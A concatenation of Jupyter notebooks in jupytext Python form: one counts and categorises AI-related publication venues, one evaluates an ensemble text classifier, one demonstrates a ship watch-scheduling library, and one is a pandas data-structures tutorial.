def data_to_df(category, export, min_count):
export_dfdata = {"venue": [], "count": [], "label": []}
for name in cs:
export_dfdata["venue"].append(name)
export_dfdata["count"].append(category[name])
export_dfdata["label"].append("")
df = pd.DataFrame(export_dfdata).sort_values(by="count", ascending=False)
total_articles = df["count"].sum()
print ("Total articles: {} (from {} venues)".format(
total_articles, len(df)
))
df = df[df["count"] >= min_count]
considered_articles = df["count"].sum()
print ("{} articles with more than {} papers: ({:.2f}%, from {} venues)".format(
considered_articles, min_count,
considered_articles / total_articles * 100, len(df)
))
if export:
df.to_csv(os.path.join(export_data_dir, "journal_counts_all.csv"), index=False)
return df
df = data_to_df(cs, export=True, min_count=5)
df.head()
# +
rules_cl = [
lambda name: "EMNLP" in name or "empirical methods" in name.lower(),
lambda name: "ACL" in name,
lambda name: "conll" in name.lower(),
lambda name: "ling" in name.lower(),
lambda name: "language" in name.lower(),
lambda name: "LREC" in name,
lambda name: "HLT" in name,
lambda name: "IJCNLP" in name,
lambda name: "SIGDIAL" in name,
]
rules_speech = [
lambda name: "ICASSP" in name,
lambda name: "speech" in name.lower(),
lambda name: "SLT" in name,
]
rules_ml = [
lambda name: "NIPS" in name,
lambda name: "neural" in name.lower(),
lambda name: "neural network" in name.lower(),
lambda name: "ICLR" in name,
lambda name: "ICML" in name,
lambda name: "learn" in name.lower(),
lambda name: "COLT" in name,
]
rules_ai = [
lambda name: "AI" in name,
lambda name: "artificial" in name.lower(),
lambda name: "intelligence" in name.lower(),
lambda name: "fuzzy" in name.lower(),
lambda name: "knowledge" in name.lower(),
lambda name: "soft comp" in name.lower(),
lambda name: "neurocomp" in name.lower(),
]
rules_cv = [
lambda name: "CVPR" in name,
lambda name: "vision" in name.lower(),
lambda name: "pattern" in name.lower(),
lambda name: "recognition" in name.lower(),
lambda name: "image" in name.lower(),
lambda name: "ICIP" in name,
lambda name: "ECCV" in name,
lambda name: "ICCV" in name,
lambda name: "BMVC" in name,
]
rules_robo = [
lambda name: "robotic" in name.lower(),
lambda name: "ICRA" in name,
lambda name: "RSS" in name,
lambda name: "automat" in name.lower(),
]
def find_AI_venues(df):
all_rules = {
"NLP": rules_cl, "Speech": rules_speech, "ML": rules_ml, "AI": rules_ai, "CV": rules_cv, "Robo": rules_robo
}
for rulename in all_rules:
df[rulename] = np.array([False] * len(df))
rules = all_rules[rulename]
for rule in rules:
df[rulename] = np.logical_or(
df[rulename].values,
np.array([rule(name) for name in df["venue"]])
)
print (f"Category: {rulename}")
df_cat = df[df[rulename]==True]
print (" Venues included: {}".format(len(df_cat)))
paper_covered = df_cat["count"].sum()
total_paper = df["count"].sum()
print(" Paper covered: {} of {} ({:.2f}%)".format(
paper_covered, total_paper, paper_covered / total_paper * 100))
df_ai = df[df["NLP"] | df["Speech"] | df["ML"] | df["AI"] | df["CV"] | df["Robo"]]
return df_ai
df_ai = find_AI_venues(df)
print(df_ai.shape)
df_ai.to_csv(os.path.join(export_data_dir, "df_ai.csv"), index=False)
# -
print ("Total papers covered: {}".format(df_ai["count"].sum()))
| notebooks/20200826_journals_count.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# name: python3
# ---
# # Ensembale Mode here
# Combine all the sub-model with Bagging method
import numpy as np
import pandas as pd
import scipy
import json
import seaborn as sns
from sklearn.base import TransformerMixin
from sklearn import preprocessing
from sklearn import metrics
from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer
from sklearn.model_selection import train_test_split, learning_curve, StratifiedKFold
from sklearn.metrics import roc_auc_score, roc_curve, classification_report, confusion_matrix, plot_confusion_matrix
from sklearn.pipeline import make_pipeline, Pipeline
import joblib
import matplotlib.pyplot as plt
# ### Figure the basic value
# +
model_path = 'Choesn_model/'
configure_file_path = 'Choesn_model/Configuration.json'
TRAINFILE = 'keyword.csv'
TESTFILE = 'key_word_test.csv'
boolean = 'True'
# -
# ## Define the MODEL object
#
# **!!! ATTENTION !!!**
# Follow cell code **DO NOT** modify
class Model(object):
def __init__(self, model, name, test_set, topic, is_preprocess, level):
self.model = model
self.name = name
self.test_set = test_set
self.topic = topic
self.is_preprocess = is_preprocess
self.level = level
self.encoding = None
# for debug use
def show(self):
print(
self.name,'\t',
self.test_set,'\t',
self.topic,'\t',
self.is_preprocess,'\t',
self.level
)
def predict(self, x):
if self.level == 1:
pred_y = self.model.predict(x)
for i in range(pred_y.shape[0]):
pred_y[i] = self.convert(str(pred_y[i]))
return pred_y.astype(int)
else:
return self.model.predict(x)
def predict_proba(self, x):
return self.model.predict_proba(x)
def set_encoding(self, encoding):
self.encoding = encoding
def convert(self, x):
return int(self.encoding[x])
# ## Load the model detail from json figuration file
def load_configuration_to_model(file_path):
'''
Load the json file and figure the parameter of each model
Return: (Tuple Object) with two sub-list
sub-list_1: Model for layer one (For revelent and irrevelent)
sub-list_2: Model for layer two (For topic decision)
'''
with open(configure_file_path, 'r') as json_fp:
configuration = json.load(json_fp)
layer_1 = []
layer_2 = []
for model_figure in configuration:
# read the figure
model_file = joblib.load(model_path + model_figure['model_name'])
name = model_figure['model_name']
test_set = model_figure['test_set']
topic = model_figure['topic']
is_preprocess = boolean == model_figure['preprocess']
level = int(model_figure['level'])
# New model object to save those arguments
model = Model(model_file, name, test_set, topic, is_preprocess, level)
# append to model list for futher processing
if level == 1:
model.set_encoding(model_figure['encoding'])
layer_1.append(model)
elif level == 2:
layer_2.append(model)
return layer_1,layer_2
# ## Prepare the testing data and preprocess vector
# +
def get_vector(column_name, special=False):
'''
df str: The train df
fit_column str: The column for vector to fit
Return: (Vectorizer Object)
Vectorizer of current column
'''
train_df = pd.read_csv(TRAINFILE)
if special is not False:
train_df = train_df.dropna()
train_df[special] = train_df[special].apply(lambda x: x.replace('_', ''))
# prepare the tranform vector
vector = TfidfVectorizer().fit(train_df[column_name])
return vector
def preprocess(df, column_name_list):
'''
This function to use to prepare all the data for ensemble system running
including RAW data and Vector-preprocess data
Return: (Dict object)
A after preprocessing data dict, it order by column_name_list
ext:
Input: column_name_list: ['key_word_100', 'article_words']
Output: test_data_dict: test_data_dict['key_word_100'] --> key_word_100
test_data_dict['article_words'] -> article_words
test_data_dict['raw'] --> original data
'''
test_data_dict = {}
# first add original data
test_data_dict['raw'] = df
vector = get_vector('article_words', special='article_words')
for column in column_name_list:
en_data = vector.transform(df[column])
test_data_dict[str(column)] = en_data
# for special data, add it by manul
vector = get_vector('key_word_100')
test_data_dict['key_word_100_1'] = vector.transform(df['key_word_100'])
return test_data_dict
# -
df = pd.read_csv(TESTFILE)
dict_data = preprocess(df, ['article_words', 'key_word_100'])
print(dict_data['article_words'].shape)
print(dict_data['key_word_100'].shape)
# ### Follow is for ensemble evaluate
# +
def evaluate(res_df, y_true_label, y_pred_label):
'''
Here is for the evaluate the ensamble model
Input: (DataFrame Object) Should be result of the prediction
Output:
'''
report = []
topic_list = list(set(res_df[y_true_label]))
for topic in topic_list:
# prepare the record
topic_report = {}
topic_report['name'] = str(topic)
# prepare the evaluate data
test_df = res_df[res_df[y_true_label] == topic]
#evaluate each part
topic_report['f1_score'] = metrics.f1_score(test_df[y_true_label], test_df[y_pred_label], average='macro')
topic_report['accuarcy'] = metrics.accuracy_score(test_df[y_true_label], test_df[y_pred_label])
topic_report['recall_score'] = metrics.recall_score(test_df[y_true_label], test_df[y_pred_label], average='macro')
print(topic,'accuarcy is:\t\t\t\t', topic_report['accuarcy'])
# append t total report for further
report.append(topic_report)
# sort the report for plt
report.sort(reverse=True, key=lambda x: x['accuarcy'])
#plt.style.use('ggplot')
figure = plt.figure(figsize=(12,6))
#plt.xticks(rotation=90)
plt.title('Accuarcy in each topic')
plt.barh([i['name'] for i in report], [j['accuarcy'] for j in report])
plt.show()
evaluate(res_df, 'label', 'predict')
# -
| Ensembale.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Georg Stage usage
#
# Example in code
# +
from georgstage import GeorgStage, Opgave, Vagt, AutoFiller
import pandas as pd
import pulp as P
# initialiser GeorgStage med kode
vagter = [
Vagt(dato='2021-05-01', vagt_tid=0, gast=1, opgave=Opgave.VAGTHAVENDE_ELEV),
Vagt(dato='2021-05-01', vagt_tid=0, gast=2, opgave=Opgave.ORDONNANS),
Vagt(dato='2021-05-01', vagt_tid=0, gast=3, opgave=Opgave.RORGAENGER),
Vagt(dato='2021-05-01', vagt_tid=0, gast=4, opgave=Opgave.UDKIG)
]
gs = GeorgStage(vagter)
# fyld et par uger ud automatisk
for dt in pd.date_range(start='2021-05-01', end='2021-05-14', closed=None).date:
print(dt)
fill_result = gs.autofill(dt)
if fill_result.status == 1:
gs[dt] = fill_result.vagter
# Check antal dage:
print(f'Antal dage = {len(gs)}')
# -
# Create gs from other gs
gs2 = GeorgStage(gs.get_vagter())
# Create gs from dataframe
gs3 = GeorgStage.from_dataframe(gs.to_dataframe())
# Save gs to file, load gs from file
gs.save('togt.gsl')
gs4 = GeorgStage.load('togt.gsl')
gs4.to_dataframe()
GeorgStage.load('togt.gsl').to_dataframe()
# +
from georgstage.model import GeorgStage, Opgave, Vagt, AutoFiller
import pandas as pd
import pulp as P
# initialiser GeorgStage med kode
vagter = [
Vagt(dato='2021-05-01', vagt_tid=0, gast=1, opgave=Opgave.UDE),
Vagt(dato='2021-05-01', vagt_tid=4, gast=21, opgave=Opgave.UDE)
]
gs = GeorgStage(vagter)
# fyld et par uger ud automatisk
fill_result = gs.autofill('2021-05-01')
print(fill_result.status)
# -
| notebooks_and_experiments/georgstage-basic.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# + slideshow={"slide_type": "skip"}
import pandas as pd
import numpy as np
from IPython.display import HTML
# + [markdown] slideshow={"slide_type": "slide"}
# # 2 - Data structures
# + [markdown] slideshow={"slide_type": "slide"}
# ## Outline
#
# Goal: *Provide an overview of main data structures in pandas.*
# + [markdown] slideshow={"slide_type": "subslide"}
# Key topics:
#
# - Data structures overview
# - Series
# - DataFrame
# - Index
# - NDFrame vs ndarray
# + [markdown] slideshow={"slide_type": "slide"}
# ## Data structures overview
#
# Pandas makes use of the following main data structures:
#
# - **Series**: 1D container for data
# - **DataFrame**: 2D container for Series
# - **Index**: holds labels and indices
# + [markdown] slideshow={"slide_type": "fragment"}
# Key properties:
# - data alignment is intrinsic, unless you decide differently
# - automatic handling of missing data
# - leverage power of existing numpy methods
# + [markdown] slideshow={"slide_type": "slide"}
# ## Series
#
# One-dimensional ndarray with axis labels (1D subclass of NDFrame).
#
# Key properties:
#
# - homogeneously-typed; single data type
# - value-mutable, but size-immutable
# - operations align on index values
# + [markdown] slideshow={"slide_type": "subslide"}
# The Series object:
#
# pd.Series(data=None, index=None, dtype=None, name=None, copy=False)
#
# - **data** : array-like, dict or scalar data
# - **index** : (non-unique) values must be hashable and same length as data, defaults to `np.arange(len(data))`
# - **dtype** : specify `numpy.dtype` or set to `None` to auto infer
# - **name**: name of the series, similar to DataFrame column name
# - **copy** : copy input data, by default `False`, note that this only affects ndarray based input
# + [markdown] slideshow={"slide_type": "subslide"}
# Examples of creating a Series object:
# + slideshow={"slide_type": "fragment"}
se = pd.Series({'b1': True, 'b2': False, 'b3': False}, name='values') # from dict
se
# + slideshow={"slide_type": "fragment"}
se = pd.Series(np.arange(3), index=['a', 'b', 'c'], dtype=int) # from ndarray
se
# + [markdown] slideshow={"slide_type": "subslide"}
# A Series is basically an `index` and a set of `values`:
# + slideshow={"slide_type": "fragment"}
se = pd.Series([1., 1.5, 2., 2.5])
se
# + slideshow={"slide_type": "fragment"}
se.index
# + slideshow={"slide_type": "fragment"}
se.values
# + [markdown] slideshow={"slide_type": "subslide"}
# Series behave very `ndarray`-like:
# + slideshow={"slide_type": "fragment"}
se = pd.Series(5., index=['a', 'b', 'c'])
se
# + slideshow={"slide_type": "fragment"}
se[0] # integer indexing
# + slideshow={"slide_type": "fragment"}
np.log(se ** 2) # elementwise operations
# + [markdown] slideshow={"slide_type": "subslide"}
# except for the automatic alignment based on index labels:
# -
se[:2] + se[1:]
# + [markdown] slideshow={"slide_type": "fragment"}
# the `ndarray` version would give:
# -
se[:2].values + se[1:].values
# + [markdown] slideshow={"slide_type": "subslide"}
# Series also behave very dict like:
# + slideshow={"slide_type": "fragment"}
se['a']
# + slideshow={"slide_type": "fragment"}
se.keys()
# + slideshow={"slide_type": "fragment"}
se.get('c')
# + slideshow={"slide_type": "fragment"}
se.get('d')
# + [markdown] slideshow={"slide_type": "subslide"}
# Other ways of accessing the data:
# + slideshow={"slide_type": "fragment"}
pop = pd.Series({'DE': 81.3, 'BE': 11.3, 'FR': 64.3,
'UK': 64.9, 'NL': 16.9})
pop
# + slideshow={"slide_type": "fragment"}
pop['BE':'UK'] # slicing incl.
# + slideshow={"slide_type": "fragment"}
pop[pop < 30] # boolean indexing
# + slideshow={"slide_type": "fragment"}
pop[['DE', 'NL']] # list of labels
# + [markdown] slideshow={"slide_type": "slide"}
# ## DataFrame
#
# Two-dimensional NDFrame with both row indices and column labels; a dict-like container for Series objects.
#
# Key properties:
#
# - heterogeneously-typed; differently typed columns
# - value and size-mutable (especially in column dimension)
# - arithmetic operations align on both row and column labels
# - the most commonly used pandas object
# + [markdown] slideshow={"slide_type": "subslide"}
# The DataFrame object:
# ```python
# pd.DataFrame(data=None, index=None, columns=None,
# dtype=None, copy=False)
# ```
# - **data** : array-like, dict or scalar data
# - **index** : (non-unique) values must be hashable and same length as data, defaults to `np.arange(n)`
# - **columns** : similar to index, but then in column direction
# - **dtype** : specify `numpy.dtype` or set to `None` to auto infer
# - **copy** : copy input data, by default `False`, note that this only affects ndarray based input
# + [markdown] slideshow={"slide_type": "subslide"}
# Examples of creating a DataFrame object:
# + slideshow={"slide_type": "fragment"}
df = pd.DataFrame(np.ones((2,3)), columns=['a', 'b', 'c'])
df
# + slideshow={"slide_type": "fragment"}
df = pd.DataFrame({'col_1':[1,2,3], 'col_2':['a','b','c']},
index=['row_1','row_2','row_3'])
df
# + slideshow={"slide_type": "fragment"}
df.dtypes
# + [markdown] slideshow={"slide_type": "subslide"}
# ### [dtypes](https://pandas.pydata.org/pandas-docs/stable/basics.html#basics-dtypes)
#
# The main types stored in pandas objects are float, int, bool, datetime64[ns] and datetime64[ns, tz], timedelta[ns], category and object. In addition these dtypes have item sizes, e.g. int64 and int32.
# + [markdown] slideshow={"slide_type": "subslide"}
# A DataFrame is made-up out of two indexes and a set of values:
# + slideshow={"slide_type": "fragment"}
df = pd.DataFrame(np.random.randint(10, size=(3,3)),
index=['r0', 'r1', 'r2'],
columns=['c0', 'c1', 'c2'])
df
# + slideshow={"slide_type": "fragment"}
df.index
# + slideshow={"slide_type": "fragment"}
df.columns
# + slideshow={"slide_type": "fragment"}
df.values
# + [markdown] slideshow={"slide_type": "subslide"}
# Other constructors:
# - from dict of array-like or dicts:<br>
# `DataFrame.from_dict(data, orient="columns", dtype=None)`
# - from sequence of (key, value) pairs:<br>
# `DataFrame.from_items(items, columns=None, orient="columns")`
# - from tuples, also record arrays:<br>
# `DataFrame.from_records(data, index=None, exclude=None, columns=None, coerce_float=False, nrows=None)`
#
#
# and of course many I/O methods that we will discuss later-on..
# + [markdown] slideshow={"slide_type": "subslide"}
# Conversion of a Series to DataFrame:
#
# - `Series.to_frame(name=None)`
# - `pd.DataFrame` constructor
# + slideshow={"slide_type": "fragment"}
s = pd.Series(np.random.randint(0,10,size=3), index=['a', 'b', 'c'])
df = s.to_frame(name='rand_int')
df
# + slideshow={"slide_type": "fragment"}
df1 = pd.DataFrame(s, columns=['rand_int'])
df1
# + [markdown] slideshow={"slide_type": "slide"}
# ## Index
#
# Ordered multiset (=set that allows duplicates) that contains __axis labels__ and other __meta data__ for all pandas objects. It provides the means for __quickly accessing__ the stored data.
#
# Key properties:
#
# - immutable both in value and size
# - comes in several flavours depending on data type and structure
# - provides the infrastructure for lookups, data alignment and reindexing
# + [markdown] slideshow={"slide_type": "subslide"}
# The Index object:
#
# pd.Index(data=None, dtype=None, copy=False,
# name=None, tupleize_cols=True)
#
# - **data** : array-like (1-dimensional)
# - **dtype** : NumPy dtype (default: object)
# - **copy**: False
# - **name**: Name of the index
# - **tupleize_cols**: attempt to create MultiIndex if possible
# + [markdown] slideshow={"slide_type": "subslide"}
# Examples of creating and Index:
#
# + slideshow={"slide_type": "fragment"}
idx = pd.Index(['i1', 'i2', 'i3'])
idx
# + slideshow={"slide_type": "fragment"}
idx = pd.Index([1, 2, 3], dtype=float, name='the_index')
idx
# + slideshow={"slide_type": "fragment"}
idx = pd.Index([(1, 'a'), (1, 'b'), (2, 'c')],
names=['lvl_1', 'lvl_2'], tupleize_cols=False)
idx
# + slideshow={"slide_type": "fragment"}
idx = pd.Index([(1, 'a'), (1, 'b'), (2, 'c')],
names=['lvl_1', 'lvl_2'], tupleize_cols=True)
pd.DataFrame(np.zeros(3), index=idx)
# + [markdown] slideshow={"slide_type": "subslide"}
# The labels supplied to the DataFrame constructor are internally converted into an Index object:
# -
df = pd.DataFrame(np.ones((3, 3)), index=[3, 4, 5],
columns=['A', 'B', 'C'])
df
# + [markdown] slideshow={"slide_type": "fragment"}
# Moreover, an index can also be created out of one or more columns of a data frame:
# + slideshow={"slide_type": "fragment"}
df.set_index('A')
# + [markdown] slideshow={"slide_type": "subslide"}
# Index objects are immutable; allowing safe sharing among different data structures:
# -
# NBVAL_RAISES_EXCEPTION
a = np.array([1, 2, 3, 4])
idx = pd.Index(a)
print(idx)
idx[2] = 5
# + [markdown] slideshow={"slide_type": "slide"}
# ## Attributes and underlying data
#
# DataFrame, Series and Index objects have a set of attributes and methods that provide information regarding:
#
# - the data structure itself
# - and underlying stored data
# + [markdown] slideshow={"slide_type": "fragment"}
# Most of these metadata attributes are very similar to the Numpy `ndarray` attributes.
# + [markdown] slideshow={"slide_type": "subslide"}
# An overview of DataFrame and Series metadata attributes/methods:
#
# <table style="border-collapse:collapse;border-spacing:0"><tr><th style="font-family:Arial, sans-serif;font-size:18px;font-weight:bold;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">attribute/method</th><th style="font-family:Arial, sans-serif;font-size:18px;font-weight:bold;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">returns</th><th style="font-family:Arial, sans-serif;font-size:18px;font-weight:bold;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">description</th></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`obj.axes`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">list</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">row and columns index objects</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`obj.index`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">Index</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">the row index</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`df.columns`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">Index</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">the column index</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`s.dtype`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">np.type</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">data type of the Series</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`df.dtypes`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">Series</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">data types of the columns</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`df.get_dtype_counts()`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">Series</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">data type counts</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`obj.empty`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">bool</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">True if NDFrame is empty</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`obj.shape`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">tuple</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">dimensionality of NDFrame</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`obj.size`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">int</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">total number of elements</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`obj.values`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">ndarray</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">Numpy representation of the data</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`obj.memory_usage(index, …)`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">Series</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">memory usage of the columns</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`df.info(verbose, …)`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">-</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">summary of a DataFrame</td></tr></table>
# + [markdown] slideshow={"slide_type": "fragment"}
# Note that several of the above attributes/methods are also valid for Index objects.
# + [markdown] slideshow={"slide_type": "subslide"}
# Some examples of accessing the metadata:
# + slideshow={"slide_type": "fragment"}
df = pd.DataFrame([[i+j for i in range(3)] for j in range(3)],
index=[3, 4, 5], columns=['A', 'B', 'C'])
# + slideshow={"slide_type": "fragment"}
print(df.shape)
print(df.size)
# + slideshow={"slide_type": "fragment"}
df.info()
# + slideshow={"slide_type": "fragment"}
df.axes == [df.index, df.columns]
# + slideshow={"slide_type": "fragment"}
s = df['B']
print(s.size)
# + [markdown] slideshow={"slide_type": "subslide"}
# New indexes can be set by assigning to `obj.index` and `df.columns` attributes:
# + slideshow={"slide_type": "fragment"}
df
# + slideshow={"slide_type": "fragment"}
df.columns = df.columns[::-1]
df.index = [0, 1, 2]
df
# + [markdown] slideshow={"slide_type": "subslide"}
# The Index has some specific attributes of its own, for example:
#
# <table style="border-collapse:collapse;border-spacing:0"><tr><th style="font-family:Arial, sans-serif;font-size:18px;font-weight:bold;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">attribute/method</th><th style="font-family:Arial, sans-serif;font-size:18px;font-weight:bold;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">returns</th><th style="font-family:Arial, sans-serif;font-size:18px;font-weight:bold;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">description</th></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`idx.has_duplicates`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">bool</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">True if index contains duplicate labels</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`idx.is_unique`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">bool</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">True if index contains only unique labels</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`idx.is_monotonic`<br>`idx.is_monotonic_decreasing`<br>`idx.is_monotonic_increasing`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center">bool</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal">True if index is monotonic in specific direction</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`idx.is_all_dates`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">bool</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">index contains only date formatted entries</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`idx.nlevels`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">Index</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">number of multilevel indexes</td></tr><tr><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">`idx.tolist()`</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;text-align:center;vertical-align:top">list</td><td style="font-family:Arial, sans-serif;font-size:18px;padding:5px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;vertical-align:top">convert index to list</td></tr></table>
# + [markdown] slideshow={"slide_type": "subslide"}
# Some examples of accessing an Index's metadata:
# + slideshow={"slide_type": "fragment"}
idx = pd.Index([1, 3, 4, 5])
idx
# + slideshow={"slide_type": "fragment"}
print(idx.is_unique)
print(idx.is_monotonic_increasing)
print(idx.size)
# + slideshow={"slide_type": "fragment"}
idx = pd.Index([pd.Timestamp('2013'), pd.Timestamp('2012'),
pd.Timestamp('2011')])
idx
# + slideshow={"slide_type": "fragment"}
